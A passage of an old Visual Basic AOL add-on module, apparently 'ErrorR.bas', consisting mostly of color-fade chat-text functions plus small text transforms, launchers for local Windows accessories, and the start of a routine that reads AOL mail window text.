  2959. Function GreyBlue2(Text1)
  2960.     a = Len(Text1)
  2961.     For B = 1 To a
  2962.         c = Left(Text1, B)
  2963.         D = Right(c, 1)
  2964.         E = 255 / a
  2965.         F = E * B
  2966.         G = RGB(255, 255, 255 - F)
  2967.         h = RGBtoHEX(G)
  2968.         Msg = Msg & "<Font Color=#" & h & ">" & D
  2969.     Next B
  2970.    ErrorRsenD (Msg)
  2971. End Function
  2972.  
  2973. Function GreyGreen2(Text1)
  2974.     a = Len(Text1)
  2975.     For B = 1 To a
  2976.         c = Left(Text1, B)
  2977.         D = Right(c, 1)
  2978.         E = 255 / a
  2979.         F = E * B
  2980.         G = RGB(255 - F, 255, 255 - F)
  2981.         h = RGBtoHEX(G)
  2982.         Msg = Msg & "<Font Color=#" & h & ">" & D
  2983.     Next B
  2984.    ErrorRsenD (Msg)
  2985. End Function
  2986.  
  2987. Function GreyPurple2(Text1)
  2988.     a = Len(Text1)
  2989.     For B = 1 To a
  2990.         c = Left(Text1, B)
  2991.         D = Right(c, 1)
  2992.         E = 255 / a
  2993.         F = E * B
  2994.         G = RGB(255, 255 - F, 255)
  2995.         h = RGBtoHEX(G)
  2996.         Msg = Msg & "<Font Color=#" & h & ">" & D
  2997.     Next B
  2998.   ErrorRsenD (Msg)
  2999. End Function
  3000.  
  3001. Function GreyRed2(Text1)
  3002.     a = Len(Text1)
  3003.     For B = 1 To a
  3004.         c = Left(Text1, B)
  3005.         D = Right(c, 1)
  3006.         E = 255 / a
  3007.         F = E * B
  3008.         G = RGB(255 - F, 255 - F, 255)
  3009.         h = RGBtoHEX(G)
  3010.         Msg = Msg & "<Font Color=#" & h & ">" & D
  3011.     Next B
  3012.    ErrorRsenD (Msg)
  3013. End Function
  3014.  
  3015. Function GreyYellow2(Text1)
  3016.     a = Len(Text1)
  3017.     For B = 1 To a
  3018.         c = Left(Text1, B)
  3019.         D = Right(c, 1)
  3020.         E = 255 / a
  3021.         F = E * B
  3022.         G = RGB(255 - F, 255, 255)
  3023.         h = RGBtoHEX(G)
  3024.         Msg = Msg & "<Font Color=#" & h & ">" & D
  3025.     Next B
  3026.    ErrorRsenD (Msg)
  3027. End Function
  3028.  
  3029. Function PurpleBlack2(Text1)
  3030.     a = Len(Text1)
  3031.     For B = 1 To a
  3032.         c = Left(Text1, B)
  3033.         D = Right(c, 1)
  3034.         E = 255 / a
  3035.         F = E * B
  3036.         G = RGB(255 - F, 0, 255 - F)
  3037.         h = RGBtoHEX(G)
  3038.         Msg = Msg & "<Font Color=#" & h & ">" & D
  3039.     Next B
  3040.     ErrorRsenD (Msg)
  3041. End Function
  3042.  
  3043. Function PurpleBlue2(Text1)
  3044.     a = Len(Text1)
  3045.     For B = 1 To a
  3046.         c = Left(Text1, B)
  3047.         D = Right(c, 1)
  3048.         E = 255 / a
  3049.         F = E * B
  3050.         G = RGB(255, 0, 255 - F)
  3051.         h = RGBtoHEX(G)
  3052.         Msg = Msg & "<Font Color=#" & h & ">" & D
  3053.     Next B
  3054.    ErrorRsenD (Msg)
  3055. End Function
  3056.  
  3057. Function PurpleGreen2(Text1)
  3058.     a = Len(Text1)
  3059.     For B = 1 To a
  3060.         c = Left(Text1, B)
  3061.         D = Right(c, 1)
  3062.         E = 255 / a
  3063.         F = E * B
  3064.         G = RGB(255 - F, F, 255 - F)
  3065.         h = RGBtoHEX(G)
  3066.         Msg = Msg & "<Font Color=#" & h & ">" & D
  3067.     Next B
  3068.    ErrorRsenD (Msg)
  3069. End Function
  3070.  
  3071. Function PurpleRed2(Text1)
  3072.     a = Len(Text1)
  3073.     For B = 1 To a
  3074.         c = Left(Text1, B)
  3075.         D = Right(c, 1)
  3076.         E = 255 / a
  3077.         F = E * B
  3078.         G = RGB(255 - F, 0, 255)
  3079.         h = RGBtoHEX(G)
  3080.         Msg = Msg & "<Font Color=#" & h & ">" & D
  3081.     Next B
  3082.    ErrorRsenD (Msg)
  3083. End Function
  3084.  
  3085. Function PurpleYellow2(Text1)
  3086.     a = Len(Text1)
  3087.     For B = 1 To a
  3088.         c = Left(Text1, B)
  3089.         D = Right(c, 1)
  3090.         E = 255 / a
  3091.         F = E * B
  3092.         G = RGB(255 - F, F, 255)
  3093.         h = RGBtoHEX(G)
  3094.         Msg = Msg & "<Font Color=#" & h & ">" & D
  3095.     Next B
  3096.   ErrorRsenD (Msg)
  3097. End Function
  3098.  
  3099. Function RedBlack2(Text1)
  3100.     a = Len(Text1)
  3101.     For B = 1 To a
  3102.         c = Left(Text1, B)
  3103.         D = Right(c, 1)
  3104.         E = 255 / a
  3105.         F = E * B
  3106.         G = RGB(0, 0, 255 - F)
  3107.         h = RGBtoHEX(G)
  3108.         Msg = Msg & "<b><s><u><Font Color=#" & h & ">" & D
  3109.     Next B
  3110.     ErrorRsenD (Msg)
  3111. End Function
  3112.  
  3113. Function RedBlue2(Text1)
  3114.     a = Len(Text1)
  3115.     For B = 1 To a
  3116.         c = Left(Text1, B)
  3117.         D = Right(c, 1)
  3118.         E = 255 / a
  3119.         F = E * B
  3120.         G = RGB(F, 0, 255 - F)
  3121.         h = RGBtoHEX(G)
  3122.         Msg = Msg & "<Font Color=#" & h & ">" & D
  3123.     Next B
  3124. ErrorRsenD (Msg)
  3125. End Function
  3126.  
  3127. Function RedGreen2(Text1)
  3128.     a = Len(Text1)
  3129.     For B = 1 To a
  3130.         c = Left(Text1, B)
  3131.         D = Right(c, 1)
  3132.         E = 255 / a
  3133.         F = E * B
  3134.         G = RGB(0, F, 255 - F)
  3135.         h = RGBtoHEX(G)
  3136.         Msg = Msg & "<b><Font Color=#" & h & "></b>" & D
  3137.     Next B
  3138.     ErrorRsenD (Msg)
  3139. End Function
  3140.  
  3141. Function RedPurple2(Text1)
  3142.     a = Len(Text1)
  3143.     For B = 1 To a
  3144.         c = Left(Text1, B)
  3145.         D = Right(c, 1)
  3146.         E = 255 / a
  3147.         F = E * B
  3148.         G = RGB(F, 0, 255)
  3149.         h = RGBtoHEX(G)
  3150.         Msg = Msg & "<Font Color=#" & h & ">" & D
  3151.     Next B
  3152.     ErrorRsenD (Msg)
  3153. End Function
  3154.  
  3155. Function RedYellow2(Text1)
  3156.     a = Len(Text1)
  3157.     For B = 1 To a
  3158.         c = Left(Text1, B)
  3159.         D = Right(c, 1)
  3160.         E = 255 / a
  3161.         F = E * B
  3162.         G = RGB(0, F, 255)
  3163.         h = RGBtoHEX(G)
  3164.         Msg = Msg & "<Font Color=#" & h & ">" & D
  3165.     Next B
  3166.     ErrorRsenD (Msg)
  3167. End Function
  3168. Public Function ReverseString(MyString As String) As String
  3169.     Dim TempString As String, StringLength As Long
  3170.     Dim Count As Long, NextChr As String, NewString As String
  3171.     TempString$ = MyString$
  3172.     StringLength& = Len(TempString$)
  3173.     Do While Count& <= StringLength&
  3174.         Count& = Count& + 1
  3175.         NextChr$ = Mid$(TempString$, Count&, 1)
  3176.         NewString$ = NextChr$ & NewString$
  3177.     Loop
  3178.     ReverseString$ = NewString$
  3179. End Function
  3180.  
  3181. Function YellowBlack2(Text1)
  3182.     a = Len(Text1)
  3183.     For B = 1 To a
  3184.         c = Left(Text1, B)
  3185.         D = Right(c, 1)
  3186.         E = 255 / a
  3187.         F = E * B
  3188.         G = RGB(0, 255 - F, 255 - F)
  3189.         h = RGBtoHEX(G)
  3190.         Msg = Msg & "<Font Color=#" & h & ">" & D
  3191.     Next B
  3192.   ErrorRsenD (Msg)
  3193. End Function
  3194.  
  3195. Function YellowBlue2(Text1)
  3196.     a = Len(Text1)
  3197.     For B = 1 To a
  3198.         c = Left(Text1, B)
  3199.         D = Right(c, 1)
  3200.         E = 255 / a
  3201.         F = E * B
  3202.         G = RGB(F, 255 - F, 255 - F)
  3203.         h = RGBtoHEX(G)
  3204.         Msg = Msg & "<Font Color=#" & h & ">" & D
  3205.     Next B
  3206.     ErrorRsenD (Msg)
  3207. End Function
  3208.  
  3209. Function YellowGreen2(Text1)
  3210.     a = Len(Text1)
  3211.     For B = 1 To a
  3212.         c = Left(Text1, B)
  3213.         D = Right(c, 1)
  3214.         E = 255 / a
  3215.         F = E * B
  3216.         G = RGB(0, 255, 255 - F)
  3217.         h = RGBtoHEX(G)
  3218.         Msg = Msg & "<Font Color=#" & h & ">" & D
  3219.     Next B
  3220.    ErrorRsenD (Msg)
  3221. End Function
  3222.  
  3223. Function YellowPurple2(Text1)
  3224.     a = Len(Text1)
  3225.     For B = 1 To a
  3226.         c = Left(Text1, B)
  3227.         D = Right(c, 1)
  3228.         E = 255 / a
  3229.         F = E * B
  3230.         G = RGB(F, 255 - F, 255)
  3231.         h = RGBtoHEX(G)
  3232.         Msg = Msg & "<Font Color=#" & h & ">" & D
  3233.     Next B
  3234.     ErrorRsenD (Msg)
  3235. End Function
  3236.  
  3237. Function YellowRed2(Text1)
  3238.     a = Len(Text1)
  3239.     For B = 1 To a
  3240.         c = Left(Text1, B)
  3241.         D = Right(c, 1)
  3242.         E = 255 / a
  3243.         F = E * B
  3244.         G = RGB(0, 255 - F, 255)
  3245.         h = RGBtoHEX(G)
  3246.         Msg = Msg & "<Font Color=#" & h & ">" & D
  3247.     Next B
  3248.   ErrorRsenD (Msg)
  3249. End Function
  3250.  
  3251.  
  3252. 'Pre-set 3 Color fade combinations begin here
  3253.  
  3254.  
  3255. Function BlackBlueBlack2(Text1)
  3256.     a = Len(Text1)
  3257.     For B = 1 To a
  3258.         c = Left(Text1, B)
  3259.         D = Right(c, 1)
  3260.         E = 510 / a
  3261.         F = E * B
  3262.         If F > 255 Then F = (255 - (F - 255))
  3263.         G = RGB(F, 0, 0)
  3264.         h = RGBtoHEX(G)
  3265.         Msg = Msg & "<B><Font Color=#" & h & ">" & D
  3266.     Next B
  3267.    ErrorRsenD (Msg)
  3268. End Function
  3269.  
  3270. Function BlackGreenBlack2(Text1)
  3271.     a = Len(Text1)
  3272.     For B = 1 To a
  3273.         c = Left(Text1, B)
  3274.         D = Right(c, 1)
  3275.         E = 510 / a
  3276.         F = E * B
  3277.         If F > 255 Then F = (255 - (F - 255))
  3278.         G = RGB(0, F, 0)
  3279.         h = RGBtoHEX(G)
  3280.         Msg = Msg & "<Font Color=#" & h & ">" & D
  3281.     Next B
  3282.    ErrorRsenD (Msg)
  3283. End Function
  3284.  
  3285.  
  3286. Function GreenBlackGreen(Text1)
  3287.     a = Len(Text1)
  3288.     For B = 1 To a
  3289.         c = Left(Text1, B)
  3290.         D = Right(c, 1)
  3291.         E = 510 / a
  3292.         F = E * B
  3293.         If F > 255 Then F = (255 - (F - 255))
  3294.         G = RGB(0, 255 - F, 0)
  3295.         h = RGBtoHEX(G)
  3296.         Msg = Msg & "<b><Font Color=#" & h & ">" & D
  3297.     Next B
  3298.    ErrorRsenD (Msg)
  3299. End Function
  3300.  
  3301. Function GreenBlueGreen(Text1)
  3302.     a = Len(Text1)
  3303.     For B = 1 To a
  3304.         c = Left(Text1, B)
  3305.         D = Right(c, 1)
  3306.         E = 510 / a
  3307.         F = E * B
  3308.         If F > 255 Then F = (255 - (F - 255))
  3309.         G = RGB(F, 255 - F, 0)
  3310.         h = RGBtoHEX(G)
  3311.         Msg = Msg & "<Font Color=#" & h & ">" & D
  3312.     Next B
  3313.   ErrorRsenD (Msg)
  3314. End Function
  3315.  
  3316. Sub WritePadd(TheExe As String)
  3317.     Dim Shellz As Long, NoFreeze As Long
  3318.  
  3319.     Shellz& = Shell("c:\windows\write.exe", 1): NoFreeze& = DoEvents()
  3320. End Sub
  3321. Function Talker_ieet(strin As String) As String
  3322. 'From ErrorR.bas edited by |2eV
  3323. '  How to use:
  3324. '  ReV = talker_ieet(text1.text)
  3325. '  ErrorRsenD(ReV)
  3326.  
  3327.     Dim NextChr As String, inptxt As String, lenth As Integer
  3328.     Dim NextChrr As String, NewSent As String, NumSpc As Integer, Crapp As Integer
  3329.     
  3330.     Let inptxt$ = strin
  3331.     Let lenth% = Len(inptxt$)
  3332.     
  3333.     Do While NumSpc% <= lenth%
  3334.     DoEvents
  3335.     Let NumSpc% = NumSpc% + 1
  3336.     Let NextChr$ = Mid$(inptxt$, NumSpc%, 1)
  3337.     Let NextChrr$ = Mid$(inptxt$, NumSpc%, 2)
  3338.     If NextChrr$ = "ae" Then Let NextChrr$ = "ae": Let NewSent$ = NewSent$ + NextChrr$: Let Crapp% = 2: GoTo send
  3339.     If NextChrr$ = "AE" Then Let NextChrr$ = "ae": Let NewSent$ = NewSent$ + NextChrr$: Let Crapp% = 2: GoTo send
  3340.     If NextChrr$ = "oe" Then Let NextChrr$ = "oe": Let NewSent$ = NewSent$ + NextChrr$: Let Crapp% = 2: GoTo send
  3341.     If NextChrr$ = "OE" Then Let NextChrr$ = "oe": Let NewSent$ = NewSent$ + NextChrr$: Let Crapp% = 2: GoTo send
  3342.     If Crapp% > 0 Then GoTo send
  3343.     
  3344.     If NextChr$ = "A" Then Let NextChr$ = "a"
  3345.     If NextChr$ = "a" Then Let NextChr$ = "a"
  3346.     If NextChr$ = "B" Then Let NextChr$ = "b"
  3347.     If NextChr$ = "C" Then Let NextChr$ = "c"
  3348.     If NextChr$ = "c" Then Let NextChr$ = "c"
  3349.     If NextChr$ = "D" Then Let NextChr$ = "d"
  3350.     If NextChr$ = "d" Then Let NextChr$ = "d"
  3351.     If NextChr$ = "E" Then Let NextChr$ = "e"
  3352.     If NextChr$ = "e" Then Let NextChr$ = "e"
  3353.     If NextChr$ = "f" Then Let NextChr$ = "f"
  3354.     If NextChr$ = "H" Then Let NextChr$ = "h"
  3355.     If NextChr$ = "I" Then Let NextChr$ = "I"
  3356.     If NextChr$ = "i" Then Let NextChr$ = "I"
  3357.     If NextChr$ = "k" Then Let NextChr$ = "k"
  3358.     If NextChr$ = "K" Then Let NextChr$ = "k"
  3359.     If NextChr$ = "L" Then Let NextChr$ = "l"
  3360.     If NextChr$ = "M" Then Let NextChr$ = "m"
  3361.     If NextChr$ = "m" Then Let NextChr$ = "m"
  3362.     If NextChr$ = "N" Then Let NextChr$ = "n"
  3363.     If NextChr$ = "n" Then Let NextChr$ = "n"
  3364.     If NextChr$ = "O" Then Let NextChr$ = "o"
  3365.     If NextChr$ = "o" Then Let NextChr$ = "o"
  3366.     If NextChr$ = "P" Then Let NextChr$ = "p"
  3367.     If NextChr$ = "p" Then Let NextChr$ = "p"
  3368.     If NextChr$ = "r" Then Let NextChr$ = "r"
  3369.     If NextChr$ = "S" Then Let NextChr$ = "s"
  3370.     If NextChr$ = "s" Then Let NextChr$ = "s"
  3371.     If NextChr$ = "t" Then Let NextChr$ = "t"
  3372.     If NextChr$ = "U" Then Let NextChr$ = "u"
  3373.     If NextChr$ = "u" Then Let NextChr$ = "u"
  3374.     If NextChr$ = "V" Then Let NextChr$ = "v"
  3375.     If NextChr$ = "W" Then Let NextChr$ = "w"
  3376.     If NextChr$ = "w" Then Let NextChr$ = "w"
  3377.     If NextChr$ = "X" Then Let NextChr$ = "x"
  3378.     If NextChr$ = "x" Then Let NextChr$ = "x"
  3379.     If NextChr$ = "Y" Then Let NextChr$ = "y"
  3380.     If NextChr$ = "y" Then Let NextChr$ = "y"
  3381.     Let NewSent$ = NewSent$ + NextChr$
  3382.  
  3383. send:
  3384. If Crapp% > 0 Then Let Crapp% = Crapp% - 1
  3385. DoEvents
  3386. Loop
  3387. Talker_ieet = NewSent$
  3388. End Function
  3389.  
  3390. Function Talker_Dot(strin As String) As String
  3391. 'From ErrorR.Bas
  3392. '  How to use:
  3393. '  ReV = talker_dot(text1.text)
  3394. '  ErrorRsenD, or phaded coler(ReV)
  3395.  
  3396.     Dim NextChr As String, inptxt As String, lenth As Integer
  3397.     Dim NumSpc As Integer, NewSent As String, Dotz As String
  3398.     
  3399.     Let inptxt$ = strin
  3400.     Let lenth% = Len(inptxt$)
  3401.     Do While NumSpc% <= lenth%
  3402.         Let NumSpc% = NumSpc% + 1
  3403.         Let NextChr$ = Mid$(inptxt$, NumSpc%, 1)
  3404.         Let NextChr$ = NextChr$ + "ò"
  3405.         Let NewSent$ = NewSent$ + NextChr$
  3406.     Loop
  3407.     Dotz$ = NewSent$
  3408.     Talker_Dot = Dotz$
  3409. End Function
  3410. Sub Explorer(TheExe As String)
  3411.     Dim Shellz As Long, NoFreeze As Long
  3412.  
  3413.     Shellz& = Shell("c:\windows\Explorer.exe", 1): NoFreeze& = DoEvents()
  3414. End Sub
  3415. Sub Paint(TheExe As String)
  3416.     Dim Shellz As Long, NoFreeze As Long
  3417.  
  3418.     Shellz& = Shell("c:\windows\Pbrush.exe", 1): NoFreeze& = DoEvents()
  3419. End Sub
  3420. Sub Shell_NotePad(TheExe As String)
  3421.     Dim Shellz As Long, NoFreeze As Long
  3422.  
  3423.     Shellz& = Shell("c:\windows\notepad.exe", 1): NoFreeze& = DoEvents()
  3424. End Sub
  3425.  
  3426. Function GreenPurpleGreen(Text1)
  3427.     a = Len(Text1)
  3428.     For B = 1 To a
  3429.         c = Left(Text1, B)
  3430.         D = Right(c, 1)
  3431.         E = 510 / a
  3432.         F = E * B
  3433.         If F > 255 Then F = (255 - (F - 255))
  3434.         G = RGB(F, 255 - F, F)
  3435.         h = RGBtoHEX(G)
  3436.         Msg = Msg & "<Font Color=#" & h & ">" & D
  3437.     Next B
  3438.   ErrorRsenD (Msg)
  3439. End Function
  3440.  
  3441. Function GreenRedGreen(Text1)
  3442.     a = Len(Text1)
  3443.     For B = 1 To a
  3444.         c = Left(Text1, B)
  3445.         D = Right(c, 1)
  3446.         E = 510 / a
  3447.         F = E * B
  3448.         If F > 255 Then F = (255 - (F - 255))
  3449.         G = RGB(0, 255 - F, F)
  3450.         h = RGBtoHEX(G)
  3451.         Msg = Msg & "<b><Font Color=#" & h & ">" & D
  3452.     Next B
  3453.    ErrorRsenD (Msg)
  3454. End Function
  3455.  
  3456. Function GreenYellowGreen(Text1)
  3457.     a = Len(Text1)
  3458.     For B = 1 To a
  3459.         c = Left(Text1, B)
  3460.         D = Right(c, 1)
  3461.         E = 510 / a
  3462.         F = E * B
  3463.         If F > 255 Then F = (255 - (F - 255))
  3464.         G = RGB(0, 255, F)
  3465.         h = RGBtoHEX(G)
  3466.         Msg = Msg & "<b><Font Color=#" & h & "></b>" & D
  3467.     Next B
  3468.     ErrorRsenD (Msg)
  3469. End Function
  3470.  
  3471. Function GreyBlackGrey(Text1)
  3472.     a = Len(Text1)
  3473.     For B = 1 To a
  3474.         c = Left(Text1, B)
  3475.         D = Right(c, 1)
  3476.         E = 490 / a
  3477.         F = E * B
  3478.         If F > 255 Then F = (255 - (F - 255))
  3479.         G = RGB(255 - F, 255 - F, 255 - F)
  3480.         h = RGBtoHEX(G)
  3481.         Msg = Msg & "<Font Color=#" & h & ">" & D
  3482.     Next B
  3483.   ErrorRsenD (Msg)
  3484. End Function
  3485.  
  3486. Function GreyBlueGrey(Text1)
  3487.     a = Len(Text1)
  3488.     For B = 1 To a
  3489.         c = Left(Text1, B)
  3490.         D = Right(c, 1)
  3491.         E = 490 / a
  3492.         F = E * B
  3493.         If F > 255 Then F = (255 - (F - 255))
  3494.         G = RGB(255, 255, 255 - F)
  3495.         h = RGBtoHEX(G)
  3496.         Msg = Msg & "<Font Color=#" & h & ">" & D
  3497.     Next B
  3498.    ErrorRsenD (Msg)
  3499. End Function
  3500.  
  3501. Function GreyGreenGrey(Text1)
  3502.     a = Len(Text1)
  3503.     For B = 1 To a
  3504.         c = Left(Text1, B)
  3505.         D = Right(c, 1)
  3506.         E = 490 / a
  3507.         F = E * B
  3508.         If F > 255 Then F = (255 - (F - 255))
  3509.         G = RGB(255 - F, 255, 255 - F)
  3510.         h = RGBtoHEX(G)
  3511.         Msg = Msg & "<Font Color=#" & h & ">" & D
  3512.     Next B
  3513.     ErrorRsenD (Msg)
  3514. End Function
  3515.  
  3516. Function GreyPurpleGrey(Text1)
  3517.     a = Len(Text1)
  3518.     For B = 1 To a
  3519.         c = Left(Text1, B)
  3520.         D = Right(c, 1)
  3521.         E = 490 / a
  3522.         F = E * B
  3523.         If F > 255 Then F = (255 - (F - 255))
  3524.         G = RGB(255, 255 - F, 255)
  3525.         h = RGBtoHEX(G)
  3526.         Msg = Msg & "<Font Color=#" & h & ">" & D
  3527.     Next B
  3528.     ErrorRsenD (Msg)
  3529. End Function
  3530.  
  3531. Function GreyRedGrey(Text1)
  3532.     a = Len(Text1)
  3533.     For B = 1 To a
  3534.         c = Left(Text1, B)
  3535.         D = Right(c, 1)
  3536.         E = 490 / a
  3537.         F = E * B
  3538.         If F > 255 Then F = (255 - (F - 255))
  3539.         G = RGB(255 - F, 255 - F, 255)
  3540.         h = RGBtoHEX(G)
  3541.         Msg = Msg & "<Font Color=#" & h & ">" & D
  3542.     Next B
  3543.    ErrorRsenD (Msg)
  3544. End Function
  3545.  
  3546. Function GreyYellowGrey(Text1)
  3547.     a = Len(Text1)
  3548.     For B = 1 To a
  3549.         c = Left(Text1, B)
  3550.         D = Right(c, 1)
  3551.         E = 490 / a
  3552.         F = E * B
  3553.         If F > 255 Then F = (255 - (F - 255))
  3554.         G = RGB(255 - F, 255, 255)
  3555.         h = RGBtoHEX(G)
  3556.         Msg = Msg & "<Font Color=#" & h & ">" & D
  3557.     Next B
  3558.    ErrorRsenD (Msg)
  3559. End Function
  3560.  
  3561. Function PurpleBlackPurple(Text1)
  3562.     a = Len(Text1)
  3563.     For B = 1 To a
  3564.         c = Left(Text1, B)
  3565.         D = Right(c, 1)
  3566.         E = 510 / a
  3567.         F = E * B
  3568.         If F > 255 Then F = (255 - (F - 255))
  3569.         G = RGB(255 - F, 0, 255 - F)
  3570.         h = RGBtoHEX(G)
  3571.         Msg = Msg & "<Font Color=#" & h & ">" & D
  3572.     Next B
  3573. ErrorRsenD (Msg)
  3574. End Function
  3575.  
  3576. Function PurpleBluePurple(Text1)
  3577.     a = Len(Text1)
  3578.     For B = 1 To a
  3579.         c = Left(Text1, B)
  3580.         D = Right(c, 1)
  3581.         E = 510 / a
  3582.         F = E * B
  3583.         If F > 255 Then F = (255 - (F - 255))
  3584.         G = RGB(255, 0, 255 - F)
  3585.         h = RGBtoHEX(G)
  3586.         Msg = Msg & "<Font Color=#" & h & ">" & D
  3587.     Next B
  3588.     ErrorRsenD (Msg)
  3589. End Function
  3590.  
  3591. Function PurpleGreenPurple(Text1)
  3592.     a = Len(Text1)
  3593.     For B = 1 To a
  3594.         c = Left(Text1, B)
  3595.         D = Right(c, 1)
  3596.         E = 510 / a
  3597.         F = E * B
  3598.         If F > 255 Then F = (255 - (F - 255))
  3599.         G = RGB(255 - F, F, 255 - F)
  3600.         h = RGBtoHEX(G)
  3601.         Msg = Msg & "<Font Color=#" & h & ">" & D
  3602.     Next B
  3603.    ErrorRsenD (Msg)
  3604. End Function
  3605.  
  3606. Function PurpleRedPurple(Text1)
  3607.     a = Len(Text1)
  3608.     For B = 1 To a
  3609.         c = Left(Text1, B)
  3610.         D = Right(c, 1)
  3611.         E = 510 / a
  3612.         F = E * B
  3613.         If F > 255 Then F = (255 - (F - 255))
  3614.         G = RGB(255 - F, 0, 255)
  3615.         h = RGBtoHEX(G)
  3616.         Msg = Msg & "<Font Color=#" & h & ">" & D
  3617.     Next B
  3618.    ErrorRsenD (Msg)
  3619. End Function
  3620.  
  3621. Function PurpleYellowPurple(Text1)
  3622.     a = Len(Text1)
  3623.     For B = 1 To a
  3624.         c = Left(Text1, B)
  3625.         D = Right(c, 1)
  3626.         E = 510 / a
  3627.         F = E * B
  3628.         If F > 255 Then F = (255 - (F - 255))
  3629.         G = RGB(255 - F, F, 255)
  3630.         h = RGBtoHEX(G)
  3631.         Msg = Msg & "<Font Color=#" & h & ">" & D
  3632.     Next B
  3633.    ErrorRsenD (Msg)
  3634. End Function
  3635.  
  3636. Function RedBlackRed(Text1)
  3637.     a = Len(Text1)
  3638.     For B = 1 To a
  3639.         c = Left(Text1, B)
  3640.         D = Right(c, 1)
  3641.         E = 510 / a
  3642.         F = E * B
  3643.         If F > 255 Then F = (255 - (F - 255))
  3644.         G = RGB(0, 0, 255 - F)
  3645.         h = RGBtoHEX(G)
  3646.         Msg = Msg & "<Font Color=#" & h & ">" & D
  3647.     Next B
  3648.    ErrorRsenD (Msg)
  3649. End Function
  3650.  
  3651. Function RedBlueRed(Text1)
  3652.     a = Len(Text1)
  3653.     For B = 1 To a
  3654.         c = Left(Text1, B)
  3655.         D = Right(c, 1)
  3656.         E = 510 / a
  3657.         F = E * B
  3658.         If F > 255 Then F = (255 - (F - 255))
  3659.         G = RGB(F, 0, 255 - F)
  3660.         h = RGBtoHEX(G)
  3661.         Msg = Msg & "<Font Color=#" & h & ">" & D
  3662.     Next B
  3663.    ErrorRsenD (Msg)
  3664. End Function
  3665.  
  3666. Function RedGreenRed(Text1)
  3667.     a = Len(Text1)
  3668.     For B = 1 To a
  3669.         c = Left(Text1, B)
  3670.         D = Right(c, 1)
  3671.         E = 510 / a
  3672.         F = E * B
  3673.         If F > 255 Then F = (255 - (F - 255))
  3674.         G = RGB(0, F, 255 - F)
  3675.         h = RGBtoHEX(G)
  3676.         Msg = Msg & "<Font Color=#" & h & ">" & D
  3677.     Next B
  3678.     ErrorRsenD (Msg)
  3679. End Function
  3680.  
  3681. Function RedPurpleRed(Text1)
  3682.     a = Len(Text1)
  3683.     For B = 1 To a
  3684.         c = Left(Text1, B)
  3685.         D = Right(c, 1)
  3686.         E = 510 / a
  3687.         F = E * B
  3688.         If F > 255 Then F = (255 - (F - 255))
  3689.         G = RGB(F, 0, 255)
  3690.         h = RGBtoHEX(G)
  3691.         Msg = Msg & "<Font Color=#" & h & ">" & D
  3692.     Next B
  3693.   ErrorRsenD (Msg)
  3694. End Function
  3695.  
  3696. Function RedYellowRed(Text1)
  3697.     a = Len(Text1)
  3698.     For B = 1 To a
  3699.         c = Left(Text1, B)
  3700.         D = Right(c, 1)
  3701.         E = 510 / a
  3702.         F = E * B
  3703.         If F > 255 Then F = (255 - (F - 255))
  3704.         G = RGB(0, F, 255)
  3705.         h = RGBtoHEX(G)
  3706.         Msg = Msg & "<Font Color=#" & h & ">" & D
  3707.     Next B
  3708.    ErrorRsenD (Msg)
  3709. End Function
  3710.  
  3711. Function YellowBlackYellow(Text1)
  3712.     a = Len(Text1)
  3713.     For B = 1 To a
  3714.         c = Left(Text1, B)
  3715.         D = Right(c, 1)
  3716.         E = 510 / a
  3717.         F = E * B
  3718.         If F > 255 Then F = (255 - (F - 255))
  3719.         G = RGB(0, 255 - F, 255 - F)
  3720.         h = RGBtoHEX(G)
  3721.         Msg = Msg & "<b><Font Color=#" & h & ">" & D
  3722.     Next B
  3723.    ErrorRsenD (Msg)
  3724. End Function
  3725.  
  3726. Function YellowBlueYellow(Text1)
  3727.     a = Len(Text1)
  3728.     For B = 1 To a
  3729.         c = Left(Text1, B)
  3730.         D = Right(c, 1)
  3731.         E = 510 / a
  3732.         F = E * B
  3733.         If F > 255 Then F = (255 - (F - 255))
  3734.         G = RGB(F, 255 - F, 255 - F)
  3735.         h = RGBtoHEX(G)
  3736.         Msg = Msg & "<b><Font Color=#" & h & ">" & D
  3737.     Next B
  3738.     ErrorRsenD (Msg)
  3739. End Function
  3740.  
  3741. Function YellowGreenYellow(Text1)
  3742.     a = Len(Text1)
  3743.     For B = 1 To a
  3744.         c = Left(Text1, B)
  3745.         D = Right(c, 1)
  3746.         E = 510 / a
  3747.         F = E * B
  3748.         If F > 255 Then F = (255 - (F - 255))
  3749.         G = RGB(0, 255, 255 - F)
  3750.         h = RGBtoHEX(G)
  3751.         Msg = Msg & "<Font Color=#" & h & ">" & D
  3752.     Next B
  3753.  ErrorRsenD (Msg)
  3754. End Function
  3755.  
  3756. Function YellowPurpleYellow(Text1)
  3757.     a = Len(Text1)
  3758.     For B = 1 To a
  3759.         c = Left(Text1, B)
  3760.         D = Right(c, 1)
  3761.         E = 510 / a
  3762.         F = E * B
  3763.         If F > 255 Then F = (255 - (F - 255))
  3764.         G = RGB(F, 255 - F, 255)
  3765.         h = RGBtoHEX(G)
  3766.         Msg = Msg & "<Font Color=#" & h & ">" & D
  3767.     Next B
  3768.     ErrorRsenD (Msg)
  3769. End Function
  3770.  
  3771. Function YellowRedYellow(Text1)
  3772.     a = Len(Text1)
  3773.     For B = 1 To a
  3774.         c = Left(Text1, B)
  3775.         D = Right(c, 1)
  3776.         E = 510 / a
  3777.         F = E * B
  3778.         If F > 255 Then F = (255 - (F - 255))
  3779.         G = RGB(0, 255 - F, 255)
  3780.         h = RGBtoHEX(G)
  3781.         Msg = Msg & "<Font Color=#" & h & ">" & D
  3782.     Next B
  3783.    ErrorRsenD (Msg)
  3784. End Function
  3785. Function Server_FWD(SName As String)
  3786. 'Server_SendByIndex function ' errrrrr
  3787. Dim aol%, mdi%, Chil%, Rich%, sNum, mSpc$, last, stat%, clickit, fillit
  3788. Dim ssNum, sLast, edi2%, tit2%
  3789.  
  3790. Do: DoEvents
  3791.  aol% = FindWindow("AOL Frame25", vbNullString)
  3792.  mdi% = FindChildByClass(aol%, "MDIClient")
  3793.  Chil% = FindChildByClass(mdi%, "AOL Child")
  3794.  Rich% = FindChildByClass(Chil%, "RICHCNTL")
  3795.  sNum = SendMessageByNum(Rich%, 14, 0&, 0&)
  3796.  mSpc$ = Space$(sNum)
  3797.  
  3798.  last = SendMessageByString(Rich%, 13, sNum + 1, mSpc$)
  3799. If InStr(LCase(mSpc$), "date:") <> 0 Then Exit Do
  3800. Loop
  3801.  
  3802.  stat% = FindChildByClass(Chil%, "_AOL_Static")
  3803.  Do: DoEvents
  3804.  ssNum = SendMessageByNum(stat%, 14, 0&, 0&)
  3805. smSpc$ = Space$(ssNum)
  3806. sLast = SendMessageByString(stat%, 13, ssNum + 1, smSpc$)
